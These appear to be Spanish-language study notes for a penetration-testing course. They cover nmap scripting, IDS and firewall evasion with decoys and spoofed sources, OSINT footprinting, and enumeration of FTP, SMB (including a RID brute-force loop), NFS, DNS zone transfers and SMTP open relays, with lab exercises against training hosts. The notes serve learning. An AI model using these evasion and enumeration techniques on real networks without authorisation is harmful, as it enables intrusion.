Para ver lo que pasa realmente primero ejecutamos tcpdump:
sudo tcpdump -i INTERFAZ host IP_origen and IP_destino
![[Pasted image 20260327163924.png]]
Ejecutamos el nc:
nc -nv IP PUERTO
![[Pasted image 20260327163936.png]]
En la salida de tcpdump vemos 3 primeras lineas del 3 way handshake y luego un PSH ACK que es donde se envia la informacion del banner grabbing:
![[Pasted image 20260327164054.png]]
LABORATORIO
![[Pasted image 20260327165236.png]]![[Pasted image 20260327165315.png]]
No se ve muy bien pero si lo hacemos solo hacia ese puerto se ve un poco mas facil:
![[Pasted image 20260327165357.png]]
Con nc tambien se puede hacer:
![[Pasted image 20260327165418.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 1. Network Enum Con Nmap / Nmap
5. Nse Nmap
Categorias
![[Pasted image 20260327165506.png]]
Parametros
| Parametro |
Explicacion |
| -A |
-sV, -sC, -O |
| -sC |
Lanza los scripts mas usados |
| –script categoria |
Lanza los scripts de esa categoria |
| –script name,name –script-args name_arg1=VALUE,name_arg2=VALUE |
Elegir el script y argumentos si es que lo necesita |
| –script-help name |
Ayuda de ese script Para ver los argumentos tenemso que ir a su pagina web |
| –script-updatedb |
Actualizar BBDD NSE |
Ejemplo lanzando 2 scripts especificos
sudo nmap IP -p25 --script name,name
![[Pasted image 20260327170012.png]]
Ejemplo lanzando todos los scripts de vuln al puerto 80
Solo se ejecutaran los vulns relacionados con ese servicio
sudo nmap IP -p80 -sV --script vuln
![[Pasted image 20260327170129.png]]
LABORATORIO
![[Pasted image 20260327171150.png]]![[Pasted image 20260327171203.png]]![[Pasted image 20260327171210.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 1. Network Enum Con Nmap / Nmap
6. Rendimiento
Tiempos de espera
Cuando nmap envia un paquete siempre tiene un RTT para recibir respuesta. Este puede modificar para que nuestros escaneos duren menos. Por defecto el inicial es 100ms
| Parametro |
Explicacion |
| –initial-rrt timeout Nms |
Tiempo de espera inicial antes de darlo por perdido |
| –max–rtt-timeout Nms |
Tiempo de espera maximo antes de darlo por perdido |
Ejemplo con y sin estos parametros en escaneo de puertos y host discovery:
![[Pasted image 20260327171957.png]]
![[Pasted image 20260327172025.png]]
Vemos que tardamos mucho menos pero hemos perdido 2 hosts que si que estaban activos
Intentos maximos
El valor por defecto los intentos maximos son 10 pero lo podemos reducir incluso a 0
| Parametros |
Explicacion |
| –max-retries 0 |
Numero maximo de intentos |
Ejemplo de escaneo de puertos:
![[Pasted image 20260327172244.png]]
![[Pasted image 20260327172302.png]]
Vemos que hemos perdido 2 puertos en el escaneo aunque hemos bajado el tiempo
Numero de paquetes
Seguramente estemos en una whitelist. Si conocemos el ancho de banda de la red podemos hacer que se envien mas paquetes por segundo para hacer el escaneo mas rapido
| Comandos |
Explicacion |
| –min-rate N |
Numero minimo de paquetes enviados |
Ejemplo de escaneo de puertos y host discovery:
Podemos ver que hemos tardadmo mucho menos. Yo pondria –min-rate 5000
Timing
Son plantillas predefinidas que podemos usar para modificar los escaneos de forma automatica
![[Pasted image 20260327172757.png]]
Ejemplo usando estas plantillas:
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 1. Network Enum Con Nmap / Nmap
7. Evasion Firewall E Ids Ips
Firewall
Medida de seguridad contra conexiones no autorizadas desde redes externas.
Son componenetes sw que monitorizan el trafico de red y deciden como tratar esa conexion mediante reglas (allowed, block, ignored)
Determinando Firewall rules
Como ya sabemos cuando nos da un puerto filtered puede ser por varias razones.
- Droped: no responde
- Rejected: si responde
- TCP: flag RST
- ICMP:
- Net Unreachable
- Net Prohibited
- Host Unreachable
- Host Prohibited
- Port Unreachable
- Proto Unreachable
Para saberlo recordamos usar estos para tener una salida mas limpia:
nmap -Pn -n --disable-arp-ping --packet-trace ...
| Parametros |
Explicacion |
| -sA |
-sA es mucho mas dificil de filtrar por los firewalls e IDS/IPS que -sS y -sT ya que solo envian paquetes con flag ACK
Esto sucede ya que con SYN el firewall detecta que viene externamente y que es el incio de una conversacion y por eso lo bloquea. Pero con ACK no puede determinar si la conexion fue inciada desde la red externa o por la red interna |
Ejemplo SYN scan:
![[Pasted image 20260328093815.png]]
Estamos viendo que el puerto 21 es rejected y el 25 es dropped
Recibimos flags SA
Ejemplo ACK scan:
![[Pasted image 20260328093854.png]]
Vemos que el puerto 21 es unreachable y el 25 no tiene respuesta
Recibimos flags R
IDS/IPS
IDS escanea la red por potenciales ataques, los analiza y reporta cualquier ataque detectado
IPS realiza medidas de seguridad si un ataque es detectado por IDS
(Se basan en pattern matching y signatures)
Detectando IDS/IPS
Es mas dificil ya que monitorizan de forma pasiva todo el trafico y si algo casa con una especificacion que tengan notifican al administrador
Sistemas de servidores virtuales privados VPS con diferentes IP addresses son recomendados para determinar si estos sistemas estan en la red objetivo. Si el admin detecta un posible ataque el primer paso sera bloquear la IP y nuestro ISP sera contactado y bloqueado de todos los accesos de la red
- Entonces una forma de detectar si hay IPS es el sistema objetivo es usar un solo host del VPS y si en algun momento somos bloqueados podemos continuar con otro VPS
Decoys
Hay casos en los que se bloquean subredes de un regios o el IPS nos bloquea. Por esto usaremos Decoy
Las IPs decoys deben corresponder a IPs vivas que respondan (Si es externa no poner 8.8.8.8 o 1.1.1.1 tiene que ser creible y si es interna usar algunas que esten en su subred o se puedan comunicar con la maquina objetivo)
Como el spoofing suele ser bloqueado, se usan IPs reales (como VPS) bien enrutadas. Además, se puede usar un idle scan, donde un host ‘zombie’ con IP ID predecible permite inferir si un puerto está abierto o cerrado observando cambios en su IP ID tras recibir respuestas del objetivo (ese zombie puede ser una maquina de la misma red, una virtual tuya, impresoras de red, routers…)
| Parametro |
Explicacion |
| -D IP,IP,TU_IP |
Con esto generamos varias IPs random a nuestra eleccion que se insertan en los headers y las añades junto a la tuya |
| -D RND:N |
Con esto generamos N IPs aleatorias de forma automatica |
| -sI zombie_IP |
1 solo zombie a la vez, contra pocos puertos destino y accesible desde el destino. Es la ocultacion real |
| -S IP |
Suplantas completamente tu IP origen pero la respuesta se manda a esa IP falsa.
Si controlamos esa IP (como que fuera nuestro VPS) o hacemos MITM (como ARP Spoofing en la misma LAN) podremos ver la respuesta pero sino no sabremos que responde porque se la manda directamente a la otra IP origen
|
| -S IP -e INTERFAZ |
Cuando spoofeamos una IP que debe ser accesible al objetivo debemos especificar la INTERFAZ de esa IP spoof para que nmap no use otra interfaz y generar inconsistencias |
Ejemplo Decoy:
![[Pasted image 20260328095812.png]]
Ejemplo Spoof Source IP:
![[Pasted image 20260328102814.png]]![[Pasted image 20260328102820.png]]
DNS Proxying
Los DNS de la empresa son mas confiables para los sistemas que los externos. Podemos usar esto para comunicarnos con la red interna por ejemplo
| Parametros |
Explicacion |
| –dns-server NS1,NS2 |
Con esto podemos cambiar el DNS al que le hacemos la resolucion solo en nmap y evitar generar logs internos por fallos, ver como responde el destino a diferentes DNS… Es como cambiar /etc/resolv.conf pero solo a nivel nmap
Ademas como se explico antes, las maquinas de la empresa confian mas en el DNS de la empresa por lo que cambiando el NS al de la empresa podriamos comunicarnos con maquinas internas si estamos en una DMZ |
| –source-port 53 |
Podemos usar este puerto para los escaneos que suele ser confiable
Al ser confiable es posible que el adminsitrador haya hecho malos filtros firewall aceptando el trafico desde el 53 |
| nc -nv –source-port 53 IP PUERTO |
Podemos conectarnos con netcat desde el puerto 53 |
Ejemplo Usando Puerto 53:
Aqui se ve como de normal no responde pero al puerto 53 si
![[Pasted image 20260328103646.png]]![[Pasted image 20260328103654.png]]
Ejemplo conexion netcat desde puerto 53:
![[Pasted image 20260328103855.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 1. Network Enum Con Nmap / Nmap
8. Laboratorios
Easy
Descubrir el nombre del SO
![[Pasted image 20260330141009.png]]
Medium
Conseguir la version del servidor DNS
![[Pasted image 20260330141935.png]]
Vemos que 53 esta filtrado y vemos que es debido a rejected. Puede que nos lo niegue el IDS/IPS o firewall porque detecte escaneo
![[Pasted image 20260330142007.png]]
Vamos a probar decoy sobre el puerto 53 de DNS para ver si ya no nos lo niega
![[Pasted image 20260330142959.png]]![[Pasted image 20260330143011.png]]
Hard
Encontrar la version de los servicios
![[Pasted image 20260330145119.png]]
No encontramos la flag asi que debe ser otro puerto que este abierto. Vamos a ir probando hasta encontrarlo
![[Pasted image 20260330150722.png]]![[Pasted image 20260330150735.png]]
Encontramos un puerto 50000
![[Pasted image 20260330151716.png]]
Vamos a ver si es rejected o dropped. Vemos que se cierra repentinamente debe ser porque detecta escaneo
![[Pasted image 20260330151947.png]]
Vamos a conectarnos para ver si nos da un banner. Obtenemos un banner que seria su version
![[Pasted image 20260330152042.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 2. Footprinting / 1. Enumeracion De Infraestructura
1. Informacion Del Dominio
Se refiere a la presencia entera en Internet
Para la parte pasiva podemos usar herramientas de terceros. Pero lo primero es ver el web site principal, leerlo y mantener en la cabeza las tecnologias y estructura que necesitan esos servicios
Tenemos que prestar atencion a lo que podemos ver y a lo que no. Vemos los servicios pero no su funcionalidad, para que esta ese servicios expuesto
Presencia Online
Lo primero es mirar el certificado SSL. Este puede contener mas de un subdominio y esto significa que este certificado se usa para varios subdominio activos
![[Pasted image 20260331203912.png]]
Otra fuente para encontrar subdominios: crt.sh
Aqui salen los certificados firmados por CAs o Unidades Certificadoras legitimas y nos permite distinguir certificados falsos y malicisos
![[Pasted image 20260331204312.png]]
Podemos mostrar los resultados en JSON:
curl -s https://crt.sh/\?q\=DOMINIO\&output=json | jq .
![[Pasted image 20260331204435.png]]
O filtrar por los subdominios:
curl -s https://crt.sh/\?q\=DOMAIN\&output\=json | jq . | grep name | cut -d":" -f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\\n/,"\n");}1;' | sort -u
![[Pasted image 20260331204524.png]]
Host servers
Tras esto podemos usar el comando host para identificar todas las IPs de estos subdominios:
for i in $(cat ARCHIVO_DOMINIOS);do host $i | grep "has address" | grep inlanefreight.com | cut -d" " -f1,4;done
![[Pasted image 20260331204617.png]]
Shodan IP List
Despues podemos usar Shodan
Nos mostrara informacion de los sistemas y dispositivos que estan coenctados a Internet. Podemos pasarla la lista de IPs para que nos de informacion de forma pasiva de estos hosts
1. for i in $(cat ARCHIVO_DOMAINS);do host $i | grep "has address" | grep DOMINIO | cut -d" " -f4 >> ARCHIVO_IPs.txt;done
2. for i in $(cat ARCHIVO_IPs.txt);do shodan host $i;done
![[Pasted image 20260331205228.png]]![[Pasted image 20260331205236.png]]
DNS Records
Tambien podemos sacar los registros DNS del dominio con dig
dig any DOMAIN
![[Pasted image 20260331205332.png]]
Podemos ver a parte de nuevos IPs y subdominios, ahora podemos ver tambien proveedores externos detras de las entradas:
![[Pasted image 20260331210851.png]]
Si buscamos vemos que por ejemplo Atlassian lo usa la compañia como solucion de desarrollo de sw, Google Email puede indicarnos que usan Google para gestion de mails y probablemente podamos encontrar un GDrive, LogMeIn regula y maneja el acceso remoto de diferentes niveles, Outlook puede indicar otro gestionador de mails pero tambien uso de herramietnas como Azure, Office 365…
Recalcar que lso Registros TXT nos pueden dar informacion de verification keys de diferentes proveedores de 3os y otros aspectos de seguridad DNS. Por ejemplos SPF, DMARC y DKIM que son responsables de verificar y confirmar el origen de los emails enviados
SPF: dice que servidores pueden enviar emails en nombre de tu dominio
DKIM: añade una firma digital al correo
DMARC: define que hacer si los otros fallan. Bloquear, mandar a spam, nada...
Ejemplo: nos envian un correo
Nuestro Gmail, Outlook realiza estas comprobaciones: en el dominio real:
- Determina si la IP desde la que lo mandas esta verificada el dominio desde el que se supone que se manda en el SPF del dominio real
- Comprueba si tiene un firma digital del DKIM del dominio real
- Si ambas fallan o por defecto se ejecutan unas acciones por DMARC del dominio real
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 2. Footprinting / 1. Enumeracion De Infraestructura
2. Recursos Cloud
El uso de AWS (S3 buckets), GCP (blobs) y Azure (cloud sotrage) entre otros esta muy extendido en las compañias
Aunque los proveedores de cloud son los que se encargan de la seguridad de la infraestructura, las malas configuraciones de los adminsitradores pueden hacer que los recursos cloud sean vulnerables
Podemos sacar los subdominios y ver si se estan usando infraestructuras cloud:
1. curl -s https://crt.sh/\?q\=DOMAIN\&output\=json | jq . | grep name | cut -d":" -f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\\n/,"\n");}1;' | sort -u
2. for i in $(cat ARCHIVO_SUBDOMINIOS);do host $i | grep "has address" | grep DOMAIN | cut -d" " -f1,4;done
![[Pasted image 20260331214032.png]]![[Pasted image 20260331214045.png]]
Google Search
Otra forma de encontrar almacenamientos cloud:
intext:EMPRESA inurl:amazonaws.com | blob.core.windows.net
![[Pasted image 20260331215002.png]]
Estos enlaces contenienen pdfs
Codigo fuente de las paginas web
Tambien podemos ver enlaces donde se pueden encontrar archivos almacenados a los que se hacen referencia desde la pagina web
![[Pasted image 20260331215225.png]]
Domain Glass
domain.glass es una herramienta que nos dira sobre la infraestructura de la compañia.
Nos da informacion registros DNS, Subdominios, IPs asoicadas, Infraestructura como si usa cloud, hosting, certificado ssl
![[Pasted image 20260331215610.png]]
Aqui vemos Cloudflare security assessment status for EMPRESA.amazonaws.com Safe. Esto quiere decir que detras de la web esta cloudflare que esta protegiendo el dominio
Cloudflare hace de WAF, Proxy/CDN ocultando la IP real del servidor y proteccion ante DDoS (capa 2 gateway (firewalls, proxies…) la capa 1 es la web en si)
GrayHayWarfare
GrayHatWarfare es una herramienta OSINT que indexa archivos publicos de la nube de una empresa o dominio
![[Pasted image 20260331220342.png]]
En el ejemplo dado vemos que podemos encontrar un archivo id_rsa e id_rsa.pub
![[Pasted image 20260331220456.png]]
![[Pasted image 20260331220510.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 2. Footprinting / 1. Enumeracion De Infraestructura
3. Empleados
Sacar empleados de redes sociales nos puede dar mucha informacion de la infraestructura, lenguajes y aplicaciones de sw usadas basado en las skills de los empleados. Tambien los trabajos que busca la empresa nos puede dar informacion
Podemos identificarlos en LinkedIn o Xing
Ejemplo oferta empleo
![[Pasted image 20260331221313.png]]
Vemos lenguajes, framworks, databases…
Ejemplo empleado de LinkedIn
![[Pasted image 20260331221342.png]]
Repositorios GitHub
El usuario anterior tiene un repositorio de GitHub
Estos pueden ser buenos para demostrar nuestro trabajo pero pueden mostrar datos y fallos que seran dificiles de solucionar
En este ejemplo encontramos el correo persoanl del empleado y mirando mas afondo en esa url de github vimos un token JWT hardcodeado:
![[Pasted image 20260331221745.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 2. Footprinting / 2. Enumeracion De Host
1. FTP
File Transfer Protocol - 21/TCP
Ambos establecen el canal de datos por el puerto 20/TCP y es solo usado para transmision de datos. En una conexion que se rompa durante la transmision puede ser retomada tras volver a establecer contacto
Dos distinciones de comunicacion:
- Activa: el cliente establece la conexion sobre el puerto 21 y de este modo informa al servidor que puerto del lado del cliente debe transmitir las respuestas. Si un firewall protege al cliente, el servidor no podra responder porque las conexiones externas seran bloqueadas
- Pasivo: el servidor anuncia un puerto por el cual el cliente puede establecer el canal de datos. Mientras el cliente se conecte por aqui el firewall no bloqueara la transferencia
Normalmente necesitaremos credenciales validas en texto claro. Otras veces estara el anonymous FTP activado
TFTP: es la version UDP de FTP. No provee caracterisiticas autenticacion. Se basa en los permisos de lectura y escritura del archivo en si. Por eso se suele usar en archivos compartidos que todos pueden leer, debido a su falta de medidas de seguridad
locate scripts/ftp
sudo nmap -Pn -sS -sVC -p21 IP
![[Pasted image 20260401164858.png]]
Vemos que esta el login anonymous permitido y se ha listado
Vemos que tiene deshabilitado el UID y GID
Vemos que ftp-syst ejecuto STAT y nos devolvio el server status
Otras formas de interactuar con FTP:
nc -nv IP PUERTO
telnet IP PUERTO
FTP + SSL
Si FTP soporta SSL necesitaremos un cliente que tambien los soporte. Usaremos openssl
openssl s_client -connect IP:PUERTO -starttls ftp
Con esto tambien veremos el certificado SSL
![[Pasted image 20260401165416.png]]
Comandos y cosas a comprobar
Acceso FTP normal y anonimo
ftp IP Puerto
User : USER o anonymous
Pass : PASS o Enter
![[Pasted image 20260401162810.png]]
o
ftp ftp://USER:PASS@IP
![[Pasted image 20260708185504.png]]
FTP Commands
commands : aqui estan todos los comandos de FTP
| Comandos |
Explicacion |
| ? |
Lista de comandos que podemos usar |
Obtener mas info del sistema y salida
status : estados de respuesta FTP
| Comandos |
Explicacion |
| debug |
Muestra info detallada sobre lo que hace el cleinte FTP (comandos que envia, respuestas de estado del servidor, info de la conexion) |
| trace |
Muestra los comandos que se envian pero con menos detalle que debug |
|
|
| ![[Pasted image 20260401163444.png]] |
|
Ocultacion de UID y GID de los archivos
Cuando esto esta activado no podremos ver quien es el propietario del archivo ni el grupo.
En su lugar veremos : “ftp ftp”
![[Pasted image 20260401164027.png]]
Con esto tambien evitan relevar nombres de usuario
Listado recursivo
Nos dara una mejor vista y de forma rapida del servidor ftp
| Comandos |
Explicacion |
| ls -R |
Lista de forma recursiva desde donde estamos |
![[Pasted image 20260401164305.png]]
Descargar y subir archivos
Esto se puede aprovechar usando despues LFI en eel webpage para poder ejecutar comandos en el sistema
| Comandos |
Explicacion |
| get archivo |
Descargar archivo |
| wget -m –no-passive ftp://USER:PASS@IP |
Descargar todo de forma recursiva |
| put archivo_local |
|
| ![[Pasted image 20260401164557.png]]![[Pasted image 20260401164604.png]]![[Pasted image 20260401164611.png]] |
|
LABORATORIO
- La version de FTP
![[Pasted image 20260401170255.png]]![[Pasted image 20260401170307.png]]![[Pasted image 20260401170312.png]]
- Conseguir la flag del archivo del servidor
![[Pasted image 20260401170752.png]]![[Pasted image 20260401170803.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 2. Footprinting / 2. Enumeracion De Host
2. SMB
Server Message Block es un protocolo cliente servidor para regular el acceso a archivos, directorios y recursos de red como impresoras, routers… en una misma LAN
Samba es la version Linux que permite comunicarse con Windows. Samaba implementa CIFS que es un dialecto de SMB. CIFS es una version antigua de SMB
La comunicacion se establece mediante un 3 way handshake por TCP
- SMB antiguo (NetBIOS) usaba puertos:
- 137 (NetBIOS Name Service, resolucion de nombres)
- 138 (NetBIOS Datagram Service)
- 139 (NetBIOS Session Service, aqui va SMB) –> CIFS opera aqui
- SMB moderno usa puerto 445
Versiones SMB y caracteristicas
![[Pasted image 20260401171918.png]]
sudo nmap -Pn -sS -sVC -p139,445
![[Pasted image 20260401172750.png]]
No nos dice mucho pero podemos interactuar manualmente con SMB
SMBClient
smbclient -N -L \\\\IP o //IP
smbclient -L \\\\IP -U USER
smbclient -N \\\\IP\share
smbclient \\\\IP\share -U USER
| Parametros |
Explicacion |
| -L |
Listar |
| -N |
Como usuario anonimo |
| -U USER |
Como usuario |
| -P PASS |
Especificar password |
![[Pasted image 20260401172329.png]]![[Pasted image 20260401172353.png]]![[Pasted image 20260401172418.png]]
RPCCLient
RPC - Remote Procedure Call
rpcclient -U "" IP
rpcclient -U "USER" IP
![[Pasted image 20260401173845.png]]
| Comandos |
Explicacion |
| srvinfo |
Informacion del servidor |
| enumdomains |
Enumera todos los dominios de la red |
| querydominfo |
Provee info de dominio, servidor y usuarios |
| netshareenumall |
Enumera los shares de la red |
| netsharegetinfo SHARE |
Da infomacion de un share en especifico |
| enumdomusers |
Enumera todos los usuarios del dominio |
| queryuser RID |
Info de un usuario especifico |
| querygroup RID_GRUPO_USUARIO |
Info de un grupo. El RID de grupo lo sacamos del queryuser de un usuario |
![[Pasted image 20260401174144.png]]
![[Pasted image 20260401174212.png]]
![[Pasted image 20260401174334.png]]
![[Pasted image 20260401174400.png]]
![[Pasted image 20260401174521.png]]
Abra veces en las que no todos los comandos se puedan usar por restricciones del usuario. Si podemos usar queryuser y no enumdomusers podemos hacer fuerza bruta de RIDs para encontrar usuarios reales:
for i in $(seq 500 1100);do rpcclient -N -U "USER" IP -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
![[Pasted image 20260401174810.png]]
Samrdump Impacket
Una alternativa es usar samrdump.py de Impacket
![[Pasted image 20260401174944.png]]
SMBMap
smbmap -H IP
smbmap -H IP -u USER -p PASS
![[Pasted image 20260401175029.png]]
| Parametros |
Explicacion |
| -r SHARE |
Enumerar contenido del share |
| –download “SHARE/archivo” |
Descargar archivo del share |
Crackmapexec
crackmapexec smb IP --shares -u '' -p ''
crackmapexec smb IP --shares -u 'USER' -p 'PASS'
![[Pasted image 20260401175143.png]]
Enum4Linux
enum4linux IP -a
enum4linux IP -a -u 'USER' -p 'PASS'
![[Pasted image 20260401175225.png]]![[Pasted image 20260401175231.png]]
….
Comandos SMB
| Comandos |
Explicacion |
| ls |
Listar |
| cd DIRECTORIO |
Movernos |
| get ARCHIVO |
Descargar archivo |
| put ARCHIVO_LOCAL |
Subir archivo |
| !COMANDO |
Nos permite ejecutar un comando en nuestra terminal
Ejemplo: !cat archivo |
LABORATORIO
- Que version esta corriendo
![[Pasted image 20260401180047.png]]
- Nombre del share accesible
![[Pasted image 20260401180312.png]]
![[Pasted image 20260401180427.png]]![[Pasted image 20260401180446.png]]
- Conectarse al share y obtener la flag
![[Pasted image 20260401180649.png]]
- Encontrar el nombre del dominio
![[Pasted image 20260401180743.png]]
- Encontrar informacion adicional sobre ese share que podemos acceder y dar la version customizada
![[Pasted image 20260401180910.png]]
- Cual es el path de ese share
![[Pasted image 20260401181144.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 2. Footprinting / 2. Enumeracion De Host
3. Nfs
Network File System tiene la misma finalidad que SMB pero entre Linux y Unix systems. No tiene mecanismos de autenticacion ni autorizacion la cual esta delegada a la informacion de archivo que se quiera acceder (UID/GID y group membership)
Puerto 111 TCP/UDP y 2049 TCP
Versiones:
![[Pasted image 20260402113526.png]]
sudo nmap -Pn -sS -sVC -p111,2049 IP
![[Pasted image 20260402114015.png]]
Esto nos da una lista de los servicios RPC que estan corriendo, sus nombres, descripciones y los puertos que usan
sudo nmap -Pn -sS -sV --script=nfs* -p111,2049 IP
![[Pasted image 20260402114228.png]]![[Pasted image 20260402114244.png]]
Esto nos esta dando el contenido y sus permisos, estado, ubicacion en la que esta montado…
Montar Shares NFS
Una vez que descubrimos el servicio NFS podemos montar en nuestro sistema local y navegar entre los directorios
showmount -e IP
![[Pasted image 20260402114503.png]]
mkdir DIRECTORIO
sudo mount -t nfs IP:/ ./DIRECTORIO -o nolock
![[Pasted image 20260402114612.png]]
Aqui vemos que en nuestra carpeta hemos montado el /mnt/nfs. Desde aqui en local podremos ver permisos, usuarios y grupos a los que pertenecen estos archivos
![[Pasted image 20260402114835.png]]
Listar contenidos para ver UIDs y GUIDs
ls -n mnt/nfs
![[Pasted image 20260402114912.png]]
Desmontando
sudo umount ./DIRECOTRIO
![[Pasted image 20260402115921.png]]
Explicacion root_squash
Es una parametro que se activa en la configuracion de NFS que impide modificar los archivos por el root local del que monte el share en su maquina local
- Como se ve si hay root_squash:
Si al montarlo y listarlo vemos en el UID algo como –> nobody / 65534 –> el root_squash estara habilitado
Si vemos em el UID –> 0 - root –> estara deshabilitado y podremos modificar el contenido de los archivos montados con nuestro root local
Ejemplo claro de root_squash on:
![[Pasted image 20260402120848.png]]
Escalada de privilegios NFS + SUID + SSH o acceso RCE
Si tenemos acceso por ejemplo via ssh podemos subir a la carpeta del share un shell con el SUID del usuario que queramos conectarnos y ejecutar el shell via SSH
En nuestro listener nos dara una shell con ese usuario
LABORATORIO
- Mostrar flag del share “nfs”
![[Pasted image 20260402120447.png]]
![[Pasted image 20260402120456.png]]
![[Pasted image 20260402120815.png]]
- Mostrar flag del share “nfsshare”
![[Pasted image 20260402121009.png]]
Ejemplo
![[Pasted image 20260405112255.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 2. Footprinting / 2. Enumeracion De Host
4. DNS
Domain Name System es un sistema de resolucion de nombres de computadoras a IPs
Esta informacion se reparte en cientos de NS en el mundo distribuidos
FQDN : Nombre de dominio completamente cualificado :
- host.subdominio.dominio.tld
Enumerar DNS sirve para encontrar:
- Hostnames
- Subdomains que podemos poner en el navegador y puede que tengan utilidades diferentes
- IPs que podemos enumerar
- Servicios como correo etc
Todos estos se pueden enumerar y encontrar nuevos puertos y vectores de ataque
Tipos de DNS Server:
![[Pasted image 20260402130656.png]]![[Pasted image 20260402131033.png]]
DNS Records
![[Pasted image 20260402131051.png]]
Dig
La informacion generada por los DNS se obtiene a partir de solicitudes que enviamos
SOA
Este nos muestra quien es el servidor DNS principal de un dominio (NS primary) y como se gestiona la zona
![[Pasted image 20260402132300.png]]
En este ejemplo se da informacion de inalefreight.com (zona principal) no de www.inlanefreight.com (subdominio):
- ns-161.awsdns-20.com : es el DNS Server principal
- awsdns-hostmaster.amazon.com –> [email protected] : es el email del admin
Encontrar NS
Este servidor es que corre el puerto 53 y el que nos estan dando directamente en los labs
Podemos consultar el servidor DNS para saber que otros NS conoce:
dig ns DOMAIN @IP_NS
EL @IP indica el servidor DNS (NS) que se quiere consultar, sin el resolveriamos usando el /etc/resolv.conf
![[Pasted image 20260402131456.png]]
Ver version DNS Server
dig CH TXT version.bind IP_NS
![[Pasted image 20260402131842.png]]
Ver todos los DNS records
No todos los registros de la zona se mostraran porque puede que esten bloqueados
dig any DOMAIN @IP_NS
![[Pasted image 20260402132108.png]]
Zone transfer - AXFR
Esto se refiere a las transferencias que se hacen entre zonas, de un DNS a otro que suelen pasar por el puerto 53
Si un DNS falla puede tener consecuencias graves. Si se cambia algo de un DNS se debe asegurar que todos los servidores tienen los mismos datos y estan sincronizados - La sincronizacion se hace mediante las Zone Transfer
Normalmente los datos originales se almacenan en el NS primario de la zona. Casi siempre hay un NS secundario para temas de seguridad
Las entradas son cambiadas, creadas o elminadas en el DNS primario. Esto se puede hacer manualmente editando el zone file o automaticamente actualizando la database
Un DNS server que se usa como fuente directa para sincronizar un zone file se le llama master (DNS primario)
Un DNS server que recibe zone data de un master se le llama esclave (DNS secundario)
El esclavo revisa cada cierto tiempo (refresh time) o el serial number (si es mayor revisa) el SOA del master
dig axfr DOMAIN @IP_NS
![[Pasted image 20260402134150.png]]
Podemos buscar en otras zonas en busca de otras IPs, ejemplo de internal:
![[Pasted image 20260402134244.png]]
Brute force subdomains
Bash
for sub in $(cat /opt/useful/seclists/Discovery/DNS/subdomains-top1million-110000.txt);do dig $sub.DOMAIN @IP | grep -v ';\|SOA' | sed -r '/^\s*$/d' | grep $sub | tee -a subdomains.txt;done
DNSenum
dnsenum --dnsserver IP --enum -p 0 -s 0 -o ARCHIVO.txt -f /opt/useful/seclists/Discovery/DNS/subdomains-top1million-110000.txt DOMAIN
![[Pasted image 20260402134524.png]]![[Pasted image 20260402134531.png]]
Que puedo hacer
![[Pasted image 20260405170629.png]]![[Pasted image 20260405170636.png]]
MX
Significa que esta corriendo un SMTP y/o un IMAP/POP3 que podemos tener como objetivo
LABORATORIO
- Interactua con el DNS usando esta IP y enumera el FQDN del dominio inlanefreight.htb
![[Pasted image 20260402134919.png]]
Encontramos el NS parece solo haber 1 por lo que sera el primario
- Mirar si podemos hacer un zonetransfer y devolver el registro TXT
![[Pasted image 20260402135212.png]]
Encontramos varias zonas pero no la flag. Vamos a probar a hacer zone transfer a alguna de estas zonas como internal:
![[Pasted image 20260402135314.png]]
- IP address de DC01
![[Pasted image 20260402135355.png]]
- Que FQDN tiene el host con ### x.x.x.203
Probamos fuerza bruta en el dominio y subdominios encontrados
![[Pasted image 20260402165136.png]]
![[Pasted image 20260402165204.png]]
Deja hacer zonetransfer pero no lo encuentra
![[Pasted image 20260402165243.png]]
Vemos que app no deja hacer zonetransfer. Probamos con el siguiente
![[Pasted image 20260402165219.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 2. Footprinting / 2. Enumeracion De Host
5. SMTP
Simple Mail Transfer Protocol es un protocolo para enviar emails que puede ser usado entre un cliente email y un marl server o entre dos mail servers
Normalmente se combina con IMAP o POP3 los cuales pueden buscar y enviar emails
Puertos : 25 TCP (por defecto), versiones nuevas 587 (TCP) suele ser el encriptado con SSL
La autenticaciones con credenciales y una vez que nos autentiquemos podremos enviar y recibir mails
Pasos al enviar un mail
![[Pasted image 20260402171420.png]]
MUA o cliente convierte el mensaje en header y body
MSA es checkea la validacion, origen…
MTA es un sw que recibe y envia el mail y checkea el tamaño y si es spam. Tambien revisa en los registros DNS la IP del mail server
MDA reasambla el header y body en uno y lo envia al mailbox
2 desventajas inneherentes:
- El envio no nos da una confirmacion de vuelta por defecto. Normalmente solo devuelve un mensaje de error en ingles del mensaje no entregado
- Los usuarios no se autentican al establecer la conexion, por lo que el sender es poco confiable, por lo que los ataques de SMTP relay se usan para enviar spam
Los remitentes utilizan direcciones de correo electrónico falsas y arbitrarias para evitar ser rastreados (suplantación de identidad por correo electrónico)
Para esto se usa DKIM y SPF, para enviarlo directamente a la carpeta de spam
Comandos y codigos
![[Pasted image 20260402172327.png]]
Codigos SMTP
![[Pasted image 20260402172744.png]]
sudo nmap -Pn -sS -sVC -p25 IP
![[Pasted image 20260402173253.png]]
Podemos probar con un NSE si el servidor SMTP es un Open Relay (permite enviar correo sin autenticacion a cualquier destino). Este NSE realizara 16 pruebas distintas
Como vemos en la salida es un Open Relay y las 16 pruebas han tenido exito:
![[Pasted image 20260402173731.png]]![[Pasted image 20260402173741.png]]
*Si pusiese un 10/16 eso signfica que puedo usar esas 10 tecnicas para hacer openrelay. Con que funcione una vale
EJEMPLO: funcioann 3/16 pues podemos usar esas 3
![[Pasted image 20260402174027.png]]
Interaccion
telnet IP PUERTO (25 o 587)
